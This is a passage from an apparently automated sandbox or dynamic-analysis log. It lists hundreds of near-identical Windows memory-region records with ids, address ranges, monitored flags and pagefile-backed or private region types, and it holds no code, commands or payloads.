0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4504 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4505 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4506 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4507 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4508 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4509 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4510 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4511 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4512 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4513 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4514 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4515 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4516 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4517 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4518 start_va = 0xf0000 end_va = 0xf4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4519 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4520 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4521 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4522 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4523 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4524 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4525 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4526 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4527 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4528 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4529 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4530 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4531 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4532 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4533 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4534 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4535 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4536 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4537 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4538 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4539 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4540 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4541 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4542 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4543 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4544 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4545 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4546 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4547 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4548 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4549 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4550 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4551 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4552 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4553 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4554 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4555 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4559 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4560 start_va = 0xf0000 end_va = 0xf4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4561 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4562 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4563 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4564 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4565 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4566 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4567 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4568 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4569 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4570 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4571 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4572 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4573 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4574 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4575 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4576 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4577 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4578 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4579 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4580 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4581 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4582 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4583 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4584 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4585 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4586 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4587 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4588 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4589 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4590 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4591 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4592 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4593 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4594 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4595 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4596 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4597 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4613 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4614 start_va = 0xf0000 end_va = 0xf4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4615 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4616 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4617 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4618 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4619 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4620 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4621 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4622 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4623 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4624 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4625 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4626 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4627 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4628 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4629 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4630 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4631 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4632 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4633 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4634 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4635 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4636 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4637 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4638 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4639 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4640 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4641 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4642 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4643 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4644 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4645 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4646 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4647 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4648 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4649 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4650 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4651 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4653 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4654 start_va = 0xf0000 end_va = 0xf4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4655 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4656 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4657 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4658 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4659 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4660 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4661 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4662 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4663 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4664 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4665 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4666 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4667 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4668 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4669 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4670 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4671 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4672 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4673 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4674 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4675 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4676 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4677 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4678 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4679 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4680 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4681 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4682 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4683 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4684 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4685 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4686 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4687 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4688 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4689 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4690 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4691 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4692 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4693 start_va = 0xf0000 end_va = 0xf4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4694 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4695 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4696 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4697 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4698 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4699 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4700 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4701 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4702 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4703 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4704 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4705 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 